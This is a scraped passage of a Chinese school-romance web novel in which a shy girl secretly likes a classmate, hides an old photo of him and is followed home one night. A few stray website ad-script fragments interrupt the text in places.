光一束束从叶隙中穿过,落到男生挺直的背脊上,修长脖颈上覆着青筋,喉结弧度更是嶙峋。 心跳怦怦,还是觉得好不真实。 走到一半,谢欢意瞥见斜前方的灰色招牌,眸光亮了下:“咱们去吃那家蚵仔煎吧?好久没吃过了。” 许亦泽在她脑门上弹了下:“祖宗,我海鲜过敏,想让我死就直说。” “他家又不是只有蚵仔煎。”谢欢意如数家珍地推荐,“卤肉饭和糯米糕都很好吃的。” 许亦泽态度坚决:“不去。” “那吃酸汤火锅?” “不喜欢。” “渣肉蒸饭?” “太油腻。” “……” “许亦泽你怎么这么多事!”谢欢意这回是真的有点恼了,“没人管你,爱吃不吃!” 两人你一言我一语地争辩,谁都不肯松口。 周嘉让被吵得心烦,撩眼不怎么和善地打断:“行了啊。” “你说。”谢欢意回过头,气冲冲地找他评理,“许亦泽是不是在这故意找茬?” 周嘉让没说是也没说不是,而是没头没脑地来了句:“你不是说要感谢人家么。” 这话是冲着谢欢意说的,但他视线却没落在她的身上。 真正被他看着的女孩,压低眼睫垂着脑袋,长发跟随她的动作滑到肩前,露出的那截脖颈纤细,被光照着,透出冬雪一般的白皙。 她穿着和他同款的校服,应该是最小的尺寸,可还是显得松松垮垮,白藕似的胳膊垂在身侧,好像风一吹就能折断。 这会儿街头乱七八糟的,小电瓶和三轮车横冲直撞,她安安静静地站在最外,一不留神就容易被磕碰剐蹭。 周嘉让换个了位置,把人隔在里面,然后才淡淡开口,接着之前那句话:“不该问问人家的意见?” 经他提醒,谢欢意一拍脑袋,清醒过来:“对哦。” 没了刚才的气势,她语气软下几个度:“棠棠,你有什么想吃的吗?” 问题抛出,几个人的目光齐刷刷地移到温书棠身上。 焦点来得猝不及防,思绪空白一片,就这样愣了好半晌,她才磕巴着答话:“我……我都可以的。” 别扭的心思冒出头,她觉得自己这样太败兴,于是硬着头皮抬起手,指了指不远处的一家淮扬菜,小声提议:“要不去这家吧?” 其他人跟着看过去,正忐忑时,低哑的男声从头顶传来,表示肯定: “可以,就这里。” 店里环境很好,暗棕色的木质桌椅,水墨画装点墙壁,是带有江南特色的装修布局。 四人在靠窗的位置上坐下,点菜权又被交到温书棠手里。 指腹轻轻蹭着菜单边角,她盯着这些菜在心里犯难,其实她本来就有点选择纠结,更何况现在周嘉让还在,于是心思被他扰得更乱。 犹犹豫豫选了几个,她轻声不太确定地问:“你们要不要再加点什么?” 谢欢意添了道焗虾球,许亦泽没做变动,菜单最后落到周嘉让手中。 手指无意识缠住衣角,温书棠有种说不出的局促。 像在电脑上玩过的扫雷游戏,她怕自己会点到周嘉让不喜欢的东西。 然而—— “能吃辣吗?” 顿了两秒,温书棠才意识到他是在问自己,空咽了下点头:“能的。” 周嘉让低嗯了声,又继续问她:“别的忌口呢?” “没有的。” …… 没再多言,他把菜单交给服务生。 游戏通关,温书棠缓缓呼出口气。 “怎么样啊大小姐?”许亦泽的话一刻也停不下,“在新班级待得还习惯吗?” “没有本帅哥陪伴在身边,你是不是感觉特别孤单?” 谢欢意极为嫌弃地“呵呵”两声:“谢谢,并没有。” 听到这里的温书棠滞了下。 新班级? 这是什么意思啊? 还没想明白,耳边传来的声音拽回她的思绪。 “温同学。”许亦泽满脸笑容地和她搭话,“你以前就是七班的吗?怎么感觉从来都没在学校里见过你。” 温书棠摇头解释:“不是的。” “我是从六中合并过来的。” 许亦泽脸上闪过一丝意外:“六中啊。” “诶?”反应了几秒,他忽然想到什么,“话说去年那次联合运动会,男子三千米接力赛,我们好像就是和六中比的。” 说完他捅了下周嘉让:“是不是啊?” “应该吧。”周嘉让懒着声,满不在乎的态度,“记不清了。” “真的假的。”许亦泽不太相信 ,“你还替咱们学校拿了个第一呢,忘了?” 周嘉让扯唇:“又不是什么大事。” “怎么不是啊,那天你都要帅死了。” 许亦泽帮他回忆当时的场景:“前半程咱们一直落后,到你这棒时直接反超,几秒就把对面甩开了大半圈。” “最后冲过终点线的时候,场上那此起彼伏的尖叫声,差点没把我耳朵震聋。” “诶?温妹妹。”许亦泽想起她,“那时你在场不?” 唇角向内抿了抿,温书棠迟缓地说:“那天……我请假没来。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“那还怪可惜的。”许亦泽没多想,喋喋不休地往下,“领奖时更夸张,下面围了一群拍照的。” 他啧啧两声,忍不住感慨:“不知道还以为谁家爱豆放出来了。” 温书棠低眼静静听着,看起来似乎是没有波澜。 可搭在膝盖上的手却慢慢收紧,仿佛失去痛觉一般,指尖用力掐进掌心,留下一道道月牙形红印。 话匣子彻底打开,许亦泽越说越来劲:“后面那大半个月,学校里全是打听他的女生,甚至都找到我这边了,一晚上十几个来加我的,结果全是奔着这人——” “够了啊。” 周嘉让拧紧眉心,声线冷硬地打断:“没完了是吧。” “错了错了。”许亦泽嬉皮笑脸的,在嘴上比了个拉链动作,“我不说了。” …… 话题就此结束。 后半程还算消停,但温书棠仍然觉得难熬。 那个人的存在感实在太强,以至于碗中的食物都失去滋味,呼吸起伏间都是冷冽的雪松味道。 她一边警示自己,不能把心事表现得太过明显,一边又忍不住用余光去看,甚至连他吃了哪个菜都一清二楚。 像是被缠上一根看不见的细线,他的一举一动都牵连着她的心脏。 温书棠并不喜欢这样。 可喜欢一个人,就是身不由己,就是不受控制。 就这样不知煎熬了多久。 “周嘉让!” 一道清甜的声音从左侧传来。 温书棠逼着自己多忍了两秒,才装作不经意地循着声源偏头。 那是一个极漂亮的女生,身材高挑,长相明艳,浓密卷曲的长发披散过肩,一双桃花眼妩媚又勾人。 她上身穿着吊带衫,明黄色肩带衬得肤色雪白,下面是件超短裙,露出笔直而细长的腿。 捏着筷子的手压紧,温书棠眼睫微颤了下。 女生站在周嘉让身边,半弯下腰,一缕长发碰上他的肩膀:“周嘉让?” 她眼神里的惊喜不加隐藏,语调中的欣喜更甚:“好巧诶,你也在这里吃饭呀。” 仿若女生不存在一般,周嘉让眼皮都没动一下,只是身子微微向后侧移,冷漠地把那缕头发甩掉。 对方脸色僵了瞬,很快又恢复如常,不气馁地问他:“今晚放学后你有时间吗?我这里有两张电影票。” 她可怜兮兮地蹙起眉,嗓音软得像是能渗出蜜来:“但我朋友都有事去不了,你能不能陪我一起呀?” “没时间。”周嘉让表情不怎么耐烦,字句生硬,拒绝得干脆又果断,“不去。” 女生仍不死心,好脾气道:“距离放学还有好久呢,你别急着回答我嘛。” 说完她往桌上放了两块巧克力,笑意盈盈地转身:“我先回班啦,晚上再来找你哦。” …… 空气回归安静。 望着女生离开的背影,温书棠久久没有回神。 谢欢意咬着半块桂花糖藕,两颊腮帮鼓起:“祝思娴还在追你啊。” “那可不。”许亦泽在一旁跟腔,“这都快一年了吧,真够坚持不懈的。” “但周嘉让不是一开始就拒绝她了嘛。” 谢欢意晃晃脑袋,无法理解:“而且我也没觉得她有多喜欢啊,怎么总来死缠烂打。” “兄弟。”许亦泽看热闹不嫌事大,朝周嘉让挑挑眉梢,“怎么说?去不去?” 周嘉让还是那副臭脸,怼他丝毫不讲情面:“你刚才聋了?” “说的什么话呢。”许亦泽嘶了声,不怕死地又问一遍,“真不去啊?” 周嘉让没耐心地嗤他:“要去你去。” “诶别别别。”许亦泽连声推辞,“人家约的是你,我去自讨什么没趣。” “再说了,她又不是我喜欢的类型。” 周嘉让轻哼:“那就是我喜欢的了?” 提到这个,许亦泽没忍住骂了句:“谁他妈知道你喜欢什么类型的。” “从我认识你到现在。”许亦泽细数他的战绩,“追过你的女生加一起都能从这排到江宁了,愣是没一个让你心动的。” 周嘉让哂笑了下。 他这会儿已经撂了筷子,没骨头似的窝在软椅里,眼皮半耷不耷的,浑身上下都透着漫不经心。 “说说呗。”许亦泽来了兴趣,“你到底喜欢什么样的啊?” 温书棠本来正在喝汤,听到这个问题后心口莫名紧了一下,手也不受控制地发抖,勺子里的汤汁便全部洒到了身上。 她连忙去够桌上的纸盒,但霉运往往一连串出现,里面的纸巾不巧被用完,店家还没有补上新的。 一片慌乱中,视线中出现一只骨感清晰的手。 虎口处的黑痣晃眼,指节修长分明,手背上隐约凸起的淡青色血管,让人想到起伏的山丘。 他推来一包纸巾,然后是低哑沉缓的声音: “擦擦。” 7. 合照 温书棠接过纸巾,声音很轻地说了句谢谢。 然后便像鸵鸟一样埋着头,专心致志地去擦身上的汤渍,连余光都老老实实压着,丝毫不敢乱瞟。 头顶空调开得很足,冷气源源不断地输出,可她却像被架在火炉上烘烤,浑身上下都燥得难受。 好丢人啊。 温书棠有些懊恼。 怎么总是在他面前出丑。 但也正是因为这个小插曲,许亦泽先前关心的那个问题被打断,最后只能不了了之。 吃过饭后,几人回到各自的班级。 下午第二节是数学,结束后有二十分钟的休息时间,温书棠题目做得不顺,干脆停笔到外面的连廊里透气。 这会儿阳光正好,教学楼下人影攒动,温书棠盯着看了会儿,又不受控制地仰起头。 他们高二在的这栋叫笃学楼,回廊式设计,一共五层,一二楼是文科班、艺体班、多功能厅和器材室,三四楼是理科班,最顶层是各年级主任的办公室。 七班在三楼,而二班在另一侧的四楼。 额前碎发被风拂起,睫毛在眼下拓出阴影,她目光落在左数第二间教室。 进出往来的身影,她鼓着腮帮逐个辨认,心情如过山车般起起落落,直到看得眼眶发酸,还是舍不得移开视线。 温书棠抬手揉了揉眼尾,正打算再看一会时—— “棠棠。” 谢欢意刚从商店回来,看见她在这里发呆,凑近戳戳她的脸:“你在看什么呢?” 温书棠忙收回眼神,心虚地舔了下嘴唇,欲盖弥彰地敷衍:“没什么。” “就随便看看。” 谢欢意没怀疑,把手里的葡萄棒冰分她一半:“给,我最喜欢的口味。” “漓江这鬼天气,简直要热死人哦。” 唇畔两个梨涡浅浅,温书棠笑着说好吃。 想到午饭时许亦泽的话,她没忍住好奇地问:“欢意,你之前不是七班的吗?” “不是的。”谢欢意摇摇头,“我之前是二班的。” 温书棠愣愣地啊了下。 谢欢意侧过脸,垫着手臂趴在栏杆上:“英才班那破制度,你应该也听说了吧。” 温书棠点点头:“班主任和我讲过。” 谢欢意长叹口气:“上学期期末那几天,漓江温度大跳水,我倒霉感了场冒,考数学的时候高烧到38度。” “脑袋都要烧坏了。”她瘪瘪嘴嘀咕,“哪还能做得出什么方程函数啊。” “最后我成绩考得稀烂,年级总排勉强进百,就理所当然地被二班踢出来了。” 温书棠摸摸她头发,柔声安慰:“没事的,一次小失误而已。” “我相信你很快就能再考回去的。” “无所谓啦。”谢欢意嘻嘻笑起来,语气轻快,“我现在觉得七班也挺好的。” “压力小,节奏也没那么快,而且最最开心的是——” 她挽住温书棠胳膊,黏人地往她肩膀上蹭:“有你在身边陪我,可比许亦泽和周嘉让那两个臭男生好多了。” 提起那个人,温书棠心口又是一滞。 暗恋的心思作祟,她带着一点私心试探:“你和周嘉让……也是青梅竹马吗?” “我也不知道算不算。”谢欢意又拆开一包酸条糖,五官被酸得皱在一起,字句也含糊,“他妈妈和我妈妈是好朋友,他外婆还是我的小提琴老师。” “所以我们确实是从很小就认识啦。” “好吧。”温书棠没有多问。 那天晚上,距离放学还剩十五分钟,物理老师推门进来,说上午有道题讲得不对,要占点时间重讲一遍。 下面传来几声抱怨,他不满意地敲敲黑板,搬出经典台词:“我这都是为了谁啊?” “还不是为了你们考试能多拿几分?!” 结果一讲就是半小时,等他宣布下课的时候,走廊里已经没什么人了。 许亦泽靠在门外,看见谢欢意她们出来,一边接她书包一边嘴欠:“和中午扯平了啊。” 谢欢意不高兴地扫他一眼:“我又没让你等我。” “嗯,我自愿的。” 许亦泽顺着她哄,在她头上揉了把,又扬眉朝旁边的温书棠打了个招呼。 温书棠浅笑了下回应,但心思却并不在这儿,眼神有意无意地在周围寻找着。 没看见周嘉让。 已经回家了么? 正这么想着,谢欢意便把她的疑问问了出来:“怎么就你自己啊?周嘉让呢?” “不知道。”许亦泽耸了耸肩,“估计是有事吧,提前半节课就走了。” 谢欢意睁大眼睛,忍不住惊讶:“今晚阎王爷值班诶,他怎么还敢逃课。” “你第一天认识他啊。”许亦泽笑着捏她脸,“你觉得他像怕老师的人?” “……” 确实不像。 温书棠没有插话,在旁边静静听着。 走到校门口,许亦泽带谢欢意去买牛奶冰,温书棠和他们方向不同,独自一人往公交站走。 褪去白日的喧嚣,长街灯火夺目依旧。 女孩低着头颈,停在站牌旁边,月光下的影子单薄,晚风将她柔软的长发吹乱。 46路缓缓驶来,温书棠刷卡上车,向后靠在椅背上,看着外面渐渐浓稠的夜色,心情说不出的沉闷。 耳边回荡着许亦泽说的那句有事,紧接着,她又想起午饭时那个突然出现的女孩。 自虐一般,这两件事被她脑补出千丝万缕的联系。 他是改变心意去赴约了吗。 唇瓣微颤,温书棠垂着眼,慢慢回想起那个女孩的名字。 祝……思娴是吗。 她真的好漂亮,是那种明艳又张扬的漂亮,像是花丛里开得热烈的玫瑰,就算是不经意的一眼,也能给人留下最深刻的印象。 性格更是落落大方,哪怕在喜欢的人面前,也丝毫不见怯懦,被拒绝后仍然不觉气馁。 温书棠羡慕她的勇敢。 不管结果如何,起码有机会让他知晓那份心意,而不是像她这样,在无人问津的角落,伤春悲秋地酿出心酸。 滴滴—— 头顶响起的报站声,将温书棠从胡思乱想中拉回。 她眨了眨发涩的眼,带好东西从车上下来。 和市中心的璀璨不同,澜椿路这边一片清冷。 绕进小区,两侧路灯不知怎么坏了,完全漆黑的视线里,其他感官被无限放大,时轻时重的电流声,身侧树影的摇曳声,还有远处摩托的汽鸣声,交纵错杂地敲打着耳膜,也让心脏一下一下跟着收缩。 “唰——” 耳畔忽然传来一阵窸簌。 大脑空白两秒,温书棠猛然意识到,这并不是自然景物发出的声音,更像是…… 有人正跟在她的身后。 心悸感如洪水般袭来,她想起前几天电视上报道的新闻,说最近这一带似乎不怎么太平,当时温惠反复提醒她要小心,她还满不在乎地说没事,这会儿却实打实地生出几分恐惧。 她深吸一口气,告诉自己要保持冷静。 可越是这样越忍不住乱想,脑袋里闪过法制频道轮播的尾随案,双腿抑制不住地开始打颤。 不知道是不是错觉,那道声音似乎在慢慢靠近。 只犹豫了半秒,温书棠攥紧手心,用自己最快的速度,朝着家的方向跑去。 疾风在耳边呼啸,惊栗的杂音远去,但她却不敢回头,直至楼道门被关上,紧绷的神经才勉强松掉。 温书棠靠着扶梯,擦掉头顶的冷汗,等气息完全平复,才伴着影子上楼。 …… 推开家门,温惠坐在沙发上,手里正捧着一本相册翻看。 听见脚步声,她抬起头,嘴角扬出笑:“回来啦。” 温书棠嗯了下,放下书包,慢吞吞地凑到她身旁。 “怎么啦。”见她情绪不高,温惠捏捏她脸颊,“是在学校累了,还是遇到什么烦心事了?” 温书棠摇摇头:“没有。” “看来我们棠棠真是长大了呀。”温惠笑着逗她,“和姐姐都有小秘密了。” “真的没有。”温书棠抿了抿唇,目光落在那本相册上,“姐,你怎么把它拿出来了?” “你说这个啊。”温惠没多追问,顺着她换了话题,“下午收拾房间的时候刚好看见了,就随手拿过来翻一翻。” 她把相册放到腿上,和温书棠一起继续看。 翻到下一页,右下角的那张照片,温书棠穿着黑色校服,头发比现在要短一点,五官轮廓也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 更加柔和。 她右手藏在身后,左手在胸前比了个耶,歪着脑袋,笑容青涩。 “这张是在奥体拍的吧?”温惠用手指了指,问她,“我记得是你们去年秋天运动会的时候?” 温书棠看过去,眼睫毫无征兆地抖了下,迟缓几秒才轻轻说了句是。 她们姐妹俩长得很像,温惠看着照片上的她,不由得想起自己读书时,有些怀念地感慨:“真好。” “诶对了。”她想起来什么,看了眼墙上的时钟,“我得赶紧去把红豆泡上。” “上周不是说想吃赤豆元宵吗。”她一边往厨房走一边和温书棠说,“超市的红米酒今天终于补货了,姐姐明早做给你吃啊。” 温书棠很乖地说好,对着那张照片多看了几眼,也起身回了房间。 轻手轻脚地关好门,坐回到书桌前,她难得没急着打开书包,而是拿出了抽屉里的那本日记。 翻开最后一页,一张略微褪色的照片映入眼底。 其实和刚才在客厅看的那张大致相同,只不过这张稍有曝光,算是废片。 而之所以被她小心翼翼地保留下来—— 中午许亦泽问的那个问题,温书棠说谎了。 那天她在场的。 …… 那是漓江第一次举办联合运动会,身边同学大多觉得无趣,温书棠却期待了一个多月。 等待的日子似乎格外漫长,桌角日历上被红笔圈出的日期,她每天都悄悄在心里算着倒计时。 九中和六中的那场接力赛,被安排在运动会第三天下午。 那天天气很好,温书棠出门的时候,在镜子前面多停了十几分钟。 平时随手就能扎好的马尾,关键时刻却怎么弄都难看,最后连温惠都过来帮忙,还打趣问她这是怎么了。 公交车被堵在路上,耽误了一点时间,等她匆匆赶到奥体,检录环节已经结束,所有选手准备入场。 温书棠随便找了个角落,气都没喘匀,一眼便看到了人群中的周嘉让。 他站在最后一棒的位置上,一身干净的白T,露出线条流畅的手臂,黑发利落,眉眼恣意。 虽是逆光,但却比光还要耀眼。 四周传来窃窃私语,温书棠却没心思听,注意力被他牢牢占据。 比赛正式开始,前五棒很快结束,九中成绩并不理想。 可当接力棒交到他手里的那瞬,少年如同离弦之箭一般冲了出去,气流灌进他的衣衫,衣角被鼓动,身后带着他名字的号码牌,在风中猎猎飞扬。 九号。 周嘉让。 场上气氛被点燃,周围人纷纷起身,温书棠也站起来,跟着大家呐喊。 不是为了自己的学校,而是为了她暗恋的少年。 毫不意外的,他带领九中逆风翻盘。 人群一拥而上,把他围在中央,温书棠远远看着,在心里默默为他庆祝。 “棠棠,你怎么在这啊。”林晚听跑到她身边,“找你好久了,还以为你没来。” 不想暴露心事,温书棠慌忙回神,僵笑了下解释:“来得有点晚,就没往里面挤。” “对了。”林晚听尾音上扬,“你看我把什么带来了。” 她晃了晃手里的相机,提议道:“正好这里角度不错,我给你拍几张照片吧。” 温书棠说好。 傍晚日落,所有项目全部结束,两人到对面的复印社,准备选些照片冲印出来。 回看到某一张时,林晚听蹙了蹙眉:“诶?这张怎么曝光了?” 她下意识就要删掉,温书棠却陡然发现什么,连忙出声制止:“等一下。” 她绞尽脑汁想了个理由:“我觉得这个光影还挺特别的,要不先留着吧。” 这张本来就是给她拍的,见她这样说,林晚听自然没有拒绝。 分开之后,温书棠站在街头,低头看着那张照片。 如果不仔细看,很难发现,在照片的角落,远处领奖台的最高点,站着一个意气风发的少年。 不知道是不是巧合,快门落下的那一秒,他目光恰巧朝着这个方向看了过来。 他们就这样阴差阳错地留下了青春中的第一张合照。 四方的相纸里,少男少女被错位框在一起,一个拘谨,一个张扬。 8. 进所 次日一早,七点十分,周嘉让踩着第二遍预备铃进入教室。 开学还不到一周,英才班已经上了强度,一大早就发了两套试卷,说是半小时内必须做完,甚至还要收上去批改,不嫌麻烦地搞一张成绩单。 靠门倒数第二排,周嘉让在位置上坐下,从包里随便摸了支笔,然后单手撑着下巴,半耷着眼去看桌上的题。 他姿势松松垮垮的,没半点好学生的架势,手指有一搭没一搭地转着笔,偶尔潦草地在纸上列个公式,再潦草地誊到试卷上,乍一看和胡编乱造上去的没什么区别。 不到二十分钟,最后一题结束,懒得再多看一眼,他把试卷扔到一边,窝在桌上开始补觉。 直到第二节课结束,周嘉让都没能清醒过来。 老师刚宣布下课,还没来得及趴下,前面广播声响起,通知各班下楼上课间操。 他不怎么高兴地啧了下,靠在椅背上缓了两秒,掌心撑着桌边借力,没骨头似的站起身来。 走出教室,他拐到洗手间冲了把脸。 冷水顺着侧脸往下滑,许亦泽过来勾住他的肩:“不是吧兄弟。” “又是早退又是迟到的。”他拖腔拖调地打趣,“你这昨晚干什么坏事去了?” 周嘉让没搭话,转身跟着人群往外走。 许亦泽在他身边乱猜,突然想到点什么,朝他挑了下眉:“你不会是去找祝思娴了吧?” “滚蛋。” 光是听见这个名字,周嘉让都觉得心烦,没好气地把人弄开:“少在我面前提她。” “那你这是干嘛去了?”许亦泽就没见过他这副模样,难免觉得稀奇,“怎么今儿困成这样啊?老关熬夜上号都没像你这么萎靡不振。” 他在脑海中思考着种种可能,筛来选去剩下最后一个:“难道是通宵学习了?” “卧槽不是吧。”许亦泽忍不住爆了个粗口,“这才刚开学,你他妈不至于这么卷吧。” 周嘉让被他吵得头疼,倦怠地捏了捏后颈:“卷你妹。” “进所了。” 许亦泽没由得一愣:“?” “进所?” 他半天也没想通这是什么意思,懵头懵脑地问:“什么进所?进哪个所啊?” 周嘉让扫他一眼,语气淡淡:“派出所。” “……” “??!” 许亦泽眼睛瞪得老大,一瞬间怀疑是不是自己听错了,音调倏地拔高:“你进局子了?” 周嘉让无语地看着他:“用不用给你借个喇叭,你全校宣传一下?” “不是。”许亦泽表情变得严肃,“阿让,你又惹上什么事了?” 他和周嘉让认识的早,清楚他过去那些乱七八糟的情况:“我得提醒你一句啊,你现在是高二,不是初二,明年咱们就要高考了。” “你可是考京大的苗子,这个节骨眼要是出了什么岔子,那真不是开玩笑的。” 见人还是那副漫不经心的样儿,许亦泽放心不下地撞了撞他肩膀:“听见没啊。” “没惹事。”周嘉让懒声否认,“见义勇为,路上遇见了个跟踪狂,随手把他送进去了,顺便到警局做了个笔录,后半夜才回家。” “……” 空气就这样缄默了半分钟。 “你??”许亦泽神情复杂地看着他,将信将疑的语调,“见义勇为?” 周嘉让被他这反应气笑了:“怎么着?不行?” “不是不行。” 许亦泽拍拍他肩膀,挺中肯地评价:“是兄弟我太了解你。” 周嘉让:“……” “你说你也是。”许亦泽像教导主任一样,苦口婆心地对他展开第二轮教育,“都这么大的人了,还总意气用事,有什么矛盾好好说不行吗,非得动手解决。” “没听过那句话么?冲动是魔鬼啊。” 周嘉让冷着脸,懒得再多说什么,随便他怎么想。 后面又过了四节课,直到下午那节英语结束,周嘉让勉强才算精神起来。 大课间教室里没什么人,他单脚踩着课桌下的横杠,吊儿郎当地往后倚着,侧过头,透过窗户,目光朝对面那边看去。 体委关嘉元抱着篮球凑到他旁边,盛情发出邀请:“让哥,来打一场不?” 周嘉让动了下眼皮,没什么兴致:“不去。” “你都在这窝一整天了。”关嘉元不死心地继续撺掇,“下去活动活动呗。” 周嘉让换了个姿势,桌下的两条长腿伸直,还是那句话:“不去。” 见自己实在请不动这尊大佛,关嘉元只得放弃:“那好吧。” 关嘉元这边刚走,许亦泽又从外面飞奔回来,嬉皮笑脸地停在他桌边,半俯下身,言语关切:“醒了呀阿让?今天睡得怎么样?” “……” 周嘉让拧着眉头,极为嫌弃地冷笑一声:“有话就说。” 许亦泽“嘿嘿”两下:“要不怎么说是多年的兄弟呢,还是你懂我。” “你现在是不没事?帮个忙呗。” 周嘉让想都没想地直接拒绝:“不帮。” “诶诶,别这么绝情啊。”许亦泽从自己位置下面拎出一大包零食,自顾自地和他解释,“谢欢意这不是被降到平行班了吗,为了哄她开心,我答应说下午课间去给她送零食,但刚刚老班喊我去办公室训话,什么时候放人还不一定呢。” 周嘉让勾着根笔把玩,一副事不关己的态度:“那你就等晚上放学再给她。” “不行啊,她那性格你又不是不知道。”许亦泽对着他卖惨,“晚五分钟都得和我闹,您老人家就行行好,代替我去跑一趟呗?” 见这人还是无动于衷,许亦泽可怜兮兮地扯住他手臂:“周哥,让哥,让让!不能见死不救啊。” 他不嫌夸张地捂住胸口:“你这昨晚不还在街上见义勇为呢吗,现在好兄弟有难,你忍心袖手旁观吗?” 听到这句话,周嘉让冷声嗤笑:“你不是不信吗?” “信信信。”许亦泽忙不迭改口,“我们阿让可是标准的三好市民,遵纪守法,守正不阿,从不和人乱打架。” 手中的笔转了几圈,周嘉让冷漠移眼,不自觉又向外面看去。 对侧连廊恰好闪过一道身影,女生穿着干净的校服T恤,手里抱着试卷和书,长发松松地低拢在脑后,一阵穿堂风吹过,将几缕发尾扬起。 他眸光微微闪了下。 许亦泽拖着尾音,还在对他软磨硬泡:“可怜可怜我吧,周末请你——” 后半句还没说完,周嘉让忽然打断,松口答应:“可以。” …… 七班的空调一早就坏了。 维修工人迟迟没来,八月盛夏,教室宛若蒸笼般闷燥,下课铃一响,大家纷纷出去找地方蹭凉。 温书棠没有动,整理好课上的笔记后,从书包里拿出之前陈曼芸给她的试卷。 九中的出题风格和六中大不相同,相比于基础概念,更偏向于灵活运用,她抽时间做了两套,分数都不是很理想。 看着红笔圈划出的错题,温 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 书棠默默在心里叹了口气,从座位上起身,打算去办公室里请教老师。 但不巧的是,物理老师被叫走开会,数学老师也有事没来,她慢慢吞吞地折回班级,放下东西后,同样到走廊里面透气。 她靠在栏杆上,正望着另一侧的四楼发呆,身旁经过几个女生,窸窸簌簌的闲聊钻进耳朵。 “诶诶,你说你刚才看见周嘉让了?真的假的。” “当然是真的,这有什么好骗人的。” “在哪啊?” “就在去小商店的那条路上,他一个人不知道干嘛去了。” “我靠,早知道刚才就和你一起去买东西了。” …… 话语声逐渐被风吹散。 指甲不自觉戳进掌心,细密的痛意将温书棠飘远的思绪拉回来。 去小商店的那条路吗…… 她轻咬住嘴唇,犹豫着要不要下去碰碰运气。 纠结了半分钟,就在迈出脚步的前一秒,她又猛然清醒过来,将这个荒唐的念头打消。 算了,他肯定已经不在那了。 还是不要徒劳地浪费精力了。 温书棠摇摇头,缓缓呼出一口气,准备回去继续研究那几道没想通的数学题。 铁质把手落入掌心,她刚要推开教室门。 “温书棠。” 身后蓦然传来一道低沉的男声。 不敢相信自己的耳朵,她怔了足足三秒才迟钝地转过身。 方才还被女生激烈讨论的主角,此时此刻却出现在她的眼前。 周嘉让半倚在墙上,领口的扣子松了一颗,露出深邃凹陷的锁骨,额前的碎发被汗水打湿,眉宇间噙着几分凌厉,却又透出几分柔和。 他抬起眼,漆黑瞳孔落在她身上,温书棠的心跳也不争气地漏掉一拍。 四目相对,她压住漫到喉咙的紧张,磕磕巴巴地开口:“怎、怎么了吗?” 周嘉让没接话,将手里的东西递给她。 眼睫低垂,温书棠这才注意到,他左右手各拎着一大包零食。 脑袋像被灌了浆糊,她整个人懵得厉害,眼神茫然地看向他:“这是……?” 周嘉让神情很淡,声调也没有波澜:“许亦泽给的。” 温书棠满头雾水,无意识睁大眼睛:“……啊?” 周嘉让没有多解释的意思,像是打哑谜一般交代:“你和谢欢意一人一包。” 温书棠倏得想起来,上午那阵谢欢意确实提过一嘴,说什么许亦泽要来给她送零食。 但怎么自己也有份啊? 她没想明白,但又不好意思多问,于是伸手接过来,轻声和周嘉让说了句谢谢。 周嘉让嗯了下:“不客气。” “……” 身侧的人没有动,悬起的心也迟迟没法松,温书棠抿了抿唇,嗓音更轻一点:“还有……其他事吗?” 周嘉让脸上多了几分不自在,他皱起眉心,声音还冷淡着:“真是许亦泽给的。” “他被班主任叫走训话了,我代替他送一下。” 没想到他会说这个,温书棠一时滞住。 过了好半晌,她才懵懵生生地点头:“我知道。” 两个人之间的氛围莫名变得尴尬,周嘉让侧过身,看起来更躁了点,丢下最后两个字:“走了。” 男生的背影很快消失在走廊尽头。 温书棠抱着两包零食,一边走回教室一边胡思乱想。 是错觉吗。 今天的他……好像有些奇怪。 9. 赌局 晚夏的暑热被忽而袭来的细雨拂去,梧桐叶层叠着铺上街边的石砖。 开学第一周过得很快。 周末,温书棠起了个大早,照例到市图书馆里自习。 林晚听和她一起,正在埋头订正上周五的小测试卷。 虽然都是讲过的知识点,但出题角度又难又偏,温书棠将疏漏的地方一一圈出,准备翻书再认真巩固一下这部分内容。 林晚听瘫在书桌上,脸上写满绝望:“九中这边的氛围实在是太变态了,就连普通班都卷的要命,更不用提英才班了,简直就是神仙打架。” “唉,我还是想念从前在六中那种轻松悠闲的日子。” 温书棠笔尖微顿,在她头顶揉了把,浅笑着安慰:“总要适应一段时间嘛,慢慢习惯就好啦。” “我相信你一定可以的。” 两人一直待到傍晚,外面雨已经停了,橘黄色的晚霞染透大半边天。 图书馆东边就是小吃街,拐角有家新开的湘菜馆,味道据说很好,林晚听被安利许久,迫不及待地拉着温书棠进去。 等待上菜的功夫,她突然想吃荔枝冰粉,便起身到隔壁的糖水铺外排队。 前后不过五分钟,再回来的时候,她表情里明显多了几分激动。 温书棠有些好奇:“怎么了?碰见什么开心事了?” 林晚听一边拆外卖盒,一边和她分享:“棠棠,猜猜我刚才在外面看见谁了?!” 不等人回答,她紧接着就给出答案:“周嘉让!” 无论暗恋多久,听见这个名字,温书棠还是会心口一颤。 她下意识扭头朝外面看去,几秒后又意识到自己这举动太奇怪,于是慌忙回过身,不大自然地瞥了林晚听一眼。 好在她没有发现这边的异常,而是自顾自地沉浸在兴奋当中:“虽然报道那天就见过他了,但我还是要再感慨一次,真的好帅好蛊啊!!” “之前在六中的时候,这人被他们传得天花乱坠的,那时我还不肯相信。” “现在才发现——”她咽下一口擂椒皮蛋,狠狠点头赞同,“传言果然没有骗人。” 温书棠静静听着,什么话都没有说。 林晚听却像被打开了话匣子,滔滔不绝地讲起周嘉让:“听说他外公是国内顶尖的心内医生,外婆是一名优秀的小提琴手,所以他不仅成绩上牛逼,同时还精通多种乐器。” “最最厉害的是,他能说一口流利的法语!” 停顿片刻,林晚听继续往下:“高一的时候,有次九中举办文化节,需要接待几位法国外宾,但随行翻译突然有事,校领导就把周嘉让叫了过去。” “本以为只是临时救场,没想到他全程翻得准确无误,甚至得到了外宾的赞赏,说他的水平和专业翻译没什么区别。” “唉。”林晚听长叹一口气,肩膀恹恹地塌陷下去,“你说怎么会有这么全能的人,上帝到底给他关了哪扇窗啊。” 温书棠低阖下眼,睫毛轻轻颤了下。 不想让气氛冷掉,她随便想了个问题:“你是怎么知道这些的啊?” 林晚听舀起一勺冰粉,鼓着脸颊解释:“我们班有个喜欢他的女生,每天都要拉着人把这些事情科普一遍。” 温书棠愣了愣:“啊……” 